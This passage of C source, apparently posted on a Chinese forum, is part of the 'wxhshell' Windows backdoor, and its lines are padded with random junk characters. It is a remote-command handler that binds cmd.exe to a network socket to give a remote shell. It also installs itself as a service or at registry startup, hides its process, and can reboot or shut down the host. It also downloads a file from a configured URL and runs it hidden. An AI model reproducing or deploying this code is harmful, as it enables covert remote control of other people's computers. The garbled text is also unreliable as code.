  else { ;1Kxqp z_i  
lLuAZoH  
    switch(cmd[0]) { -BWkPq!  
  9T*%CI  
  // 帮助 ?Z}n0E `  
  case '?': { C#]%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I0\}S [+ H  
    break; U].u) g$  
  } -e_+x'uF  
  // 安装  >m!l5/  
  case 'i': { W68d"J%>_  
    if(Install()) s^_E'j$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H!dUQ  
    else [,_M@g3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@Dw  
    break; zT}Qrf~  
    } e=t?mDh#E  
  // 卸载 5G8`zy  
  case 'r': { 06bl$%  
    if(Uninstall()) ZyqTtA!A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>Ah4a d  
    else QjfQoT F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[LTw_oE  
    break; U5mec167  
    } }I7/FqrD  
  // 显示 wxhshell 所在路径 WG 9f>kE  
  case 'p': { $;*YdZ`q  
    char svExeFile[MAX_PATH]; _t:cDXj  
    strcpy(svExeFile,"\n\r"); #)%N+Odnr  
      strcat(svExeFile,ExeFile); 9d2#=IJm  
        send(wsh,svExeFile,strlen(svExeFile),0); F2y M2Ldx  
    break; <p(&8P  
    } %+$P<Rw7  
  // 重启 uPe4Rr  
  case 'b': { -"5x? \.{m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z) 5n&w S  
    if(Boot(REBOOT)) 8xmw-s)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?QFF6)}!  
    else { HSx~Fs^J  
    closesocket(wsh); c< gM  
    ExitThread(0); a<Pi J?  
    } @u/<^j3Q  
    break; UQ>GAzh  
    } @.kv",[{[  
  // 关机 :5?ti  
  case 'd': { l1c&a[M)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xy$FS0u  
    if(Boot(SHUTDOWN)) 14\%2nE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'k stiB  
    else { U6X~]|o  
    closesocket(wsh); lGPC)Hu{`  
    ExitThread(0); MV$>|^'em  
    } UVu"meZX  
    break; `ea$`2  
    } 5HG 7M&_  
  // 获取shell (uOW5,e7  
  case 's': { ,-CDF)~G=3  
    CmdShell(wsh); CpS' 2@6  
    closesocket(wsh); $},:z]%D  
    ExitThread(0); QC<( rx  
    break; j`BF k>  
  } f'FY<ed<w  
  // 退出 T<54qe4`p  
  case 'x': { -xXNzC   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * {4cc  
    CloseIt(wsh); NH 'RU`U)  
    break; _$ixE~w-!  
    } P+}qaup  
  // 离开 ?RpT_u  
  case 'q': { #EHBS~^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c;U\nC<Y  
    closesocket(wsh); 9^a>U(,  
    WSACleanup(); +{hxEDz  
    exit(1); NYP3uGH]  
    break; +crAkb}i  
        } WKah$l  
  } 2)j\Lg_M  
  } ,xD{A}}V  
=AD/5E,3  
  // 提示信息 izFu&syv)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @1]<LQ\\  
} S_bay8L1  
  } S OK2{xCG  
2jhVmK  
  return; o B6" D  
} #eUfwd6.Y  
.qK=lHxT  
// shell模块句柄 J`RNik*>  
int CmdShell(SOCKET sock) s`#hk^{  
{ =fsaJ@q ,R  
STARTUPINFO si; :W1,s53  
ZeroMemory(&si,sizeof(si)); ,O[vxN1X*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EPa3Yb?BGb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rM?D7a{q  
PROCESS_INFORMATION ProcessInfo; COHJJONR  
char cmdline[]="cmd"; mKsj7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8W$="s2  
  return 0; BPG)m,/b  
} $AXz/fGV  
zr[~wM  
// 自身启动模式 p +T&9  
int StartFromService(void) ]~K&mNo  
{ %ly;2H Ik  
typedef struct :%>8\q>UX  
{ i*^K)SI8  
  DWORD ExitStatus; <oXsn.'\  
  DWORD PebBaseAddress; $U8ap4EXM  
  DWORD AffinityMask; +%<Jr<~W  
  DWORD BasePriority; 9{TOFjsF  
  ULONG UniqueProcessId; =TP>Y"  
  ULONG InheritedFromUniqueProcessId; O ,>&w5   
}   PROCESS_BASIC_INFORMATION; /y!Vs`PZ!  
i&HV8&KygN  
PROCNTQSIP NtQueryInformationProcess; XBY"7}  
0ay!tS dN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N |~&Q!A&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L|Ydd!m  
E{6}'FG+A  
  HANDLE             hProcess; >WDpBn:  
  PROCESS_BASIC_INFORMATION pbi; 5 rWRE-  
R/wSGP`W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @\h(s#sn  
  if(NULL == hInst ) return 0;  ~Afs  
nB]Q^~jX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B.G!7>=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -24.[E/5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q&#:M>!|  
P X0#X=$  
  if (!NtQueryInformationProcess) return 0; ~ZNhU;%YW  
M/DTD98'N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^0&] .m  
  if(!hProcess) return 0; q kKABow  
64vSJx>u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  KC(Ug4  
BJE <~"  
  CloseHandle(hProcess); bVx]r[  
OL'=a|g|c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2|=_kN8;  
if(hProcess==NULL) return 0; 0?7uqS#L  
ry\']\k  
HMODULE hMod; ^pjez+  
char procName[255]; @Y,F&8a$  
unsigned long cbNeeded; UBVb#FNF  
nKO&ffb'<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); asi1c y\  
]x G8vy  
  CloseHandle(hProcess); zoJ;5a.3B  
gAj)3T@  
if(strstr(procName,"services")) return 1; // 以服务启动 6a?y $+pr  
*Vl =PNn-  
  return 0; // 注册表启动 W.|6$hRl)  
} %p9bl ,x  
p.9v<I%0  
// 主模块 UW*aSZ/?  
int StartWxhshell(LPSTR lpCmdLine) F^YIZ,=p!  
{ X*"K g  
  SOCKET wsl; 95Qz1*TR  
BOOL val=TRUE; a~* V  
  int port=0; 5u46Vl{  
  struct sockaddr_in door; #:|Y(,c  
? iX=2-  
  if(wscfg.ws_autoins) Install(); {h"\JI!  
2eU[*x  
port=atoi(lpCmdLine); J,O@T)S@  
,}tdfkZFYl  
if(port<=0) port=wscfg.ws_port; @?m8/t9 .  
DQ\&5ytP  
  WSADATA data; zy[=OX+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `z_7[$\~  
bUN,P"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C._sgO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rk/ c  
  door.sin_family = AF_INET; 358/t/4 {p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -o_T C  
  door.sin_port = htons(port); o# xg:m_py  
5|CiwQg|,p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EQ7n'Wqq  
closesocket(wsl); DME?kh>7  
return 1; qffSq](D.  
} Jyci}CU3\Q  
A+*oT(`  
  if(listen(wsl,2) == INVALID_SOCKET) { 9ET+k(wI@  
closesocket(wsl); \Byk`} 9  
return 1; 9JV 3  
} ocqB-C]  
  Wxhshell(wsl); huJq#5?  
  WSACleanup(); J md ?  
,/6:bc:W  
return 0; %Z[/U  
h+3Z.WKhwP  
} Gd-.E7CH!  
;3|Lw<D5;  
// 以NT服务方式启动 KVM@//:{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4spaw?j  
{ W)!{U(X  
DWORD   status = 0; 8I\eromG  
  DWORD   specificError = 0xfffffff; Q|B|#?E==  
C cr+SR2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @zynqh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !mxh]x<e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z8(R.TB  
  serviceStatus.dwWin32ExitCode     = 0; |SP.S 0.y  
  serviceStatus.dwServiceSpecificExitCode = 0; pOVghllO  
  serviceStatus.dwCheckPoint       = 0; ,(0XsBL  
  serviceStatus.dwWaitHint       = 0; Flujwh@rg  
gZ"{{#:}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @=0r3  
  if (hServiceStatusHandle==0) return; BgWz<k}5M  
FPMSaN P  
status = GetLastError(); :.S41S   
  if (status!=NO_ERROR) +Bq}>  
{ i9\\evJs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #1't"R+3M  
    serviceStatus.dwCheckPoint       = 0; aT1CpY=T|.  
    serviceStatus.dwWaitHint       = 0; ?gR\A8:8  
    serviceStatus.dwWin32ExitCode     = status; CoUd16*"JM  
    serviceStatus.dwServiceSpecificExitCode = specificError; QR5,_wJ&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]tQDk4&i  
    return; *lerPY3 q  
  } c,+(FQ9  
bN4&\d*u#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?]\W8)  
  serviceStatus.dwCheckPoint       = 0; 9O=05CQ  
  serviceStatus.dwWaitHint       = 0; CS;W)F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f1Yv hvWL  
} {rb-DB-/5M  
EK8E  
// 处理NT服务事件,比如:启动、停止 )pS_+ZF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) => uVp  
{ 8XYD L] I'  
switch(fdwControl) [^U;  
{ 5S\][;u  
case SERVICE_CONTROL_STOP: T`g?)/  
  serviceStatus.dwWin32ExitCode = 0; uq|vNLW26  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I[g?Ju >  
  serviceStatus.dwCheckPoint   = 0; z[5Y Z~}*  
  serviceStatus.dwWaitHint     = 0; 7TV>6i+7  
  { T3G/v)ufd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #0?"J)  
  } o0aO0Y  
  return; &N/|(<CB  
case SERVICE_CONTROL_PAUSE: V`g\ja*Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -t%{"y  
  break; [GR|$/(z=  
case SERVICE_CONTROL_CONTINUE: uG=t?C6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ok}{jwJ%W;  
  break; 5U-p'c9IC  
case SERVICE_CONTROL_INTERROGATE: N"YK@)*Q  
  break; ;!l*7}5X=  
}; DMAf^.,S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d`?U!?Si  
} VQy 9Y  
BaWQ<T8p8  
// 标准应用程序主函数 OX)#F'Sl}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _[}G(<  
{ zj~nnfoys  
X+dR<GN+YX  
// 获取操作系统版本 _=|nOj39  
OsIsNt=GetOsVer(); 6\,DnO   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9tzoris[~  
:LZ-da"QR  
  // 从命令行安装 Bmx(qE  
  if(strpbrk(lpCmdLine,"iI")) Install(); -Q<z1vz  
$i,6B9  
  // 下载执行文件 j>$=SMc  
if(wscfg.ws_downexe) { yxaT7Oqh%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]> nPqL  
  WinExec(wscfg.ws_filenam,SW_HIDE); IvEMg2f}  
} Y%78>-2 L  
Zz"I.$$[M  
if(!OsIsNt) { aL8p"iSG9  
// 如果时win9x,隐藏进程并且设置为注册表启动 .abyYVrN4?  
HideProc(); snXB`U C  
StartWxhshell(lpCmdLine); DNm(:%)0  
} ]LEoOdDN"C  
else BCBEX&0hk{  
  if(StartFromService()) o2;(VSKhS  
  // 以服务方式启动 8O~0RYk  
  StartServiceCtrlDispatcher(DispatchTable); M0cd-Dn  
else = E&b=  
  // 普通方式启动 wVx,JL5Jr  
  StartWxhshell(lpCmdLine); >%9^%p^  
i/NDWVFD  
return 0; \bU`  
}
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只看该作者 1 发表于: 2006-10-10
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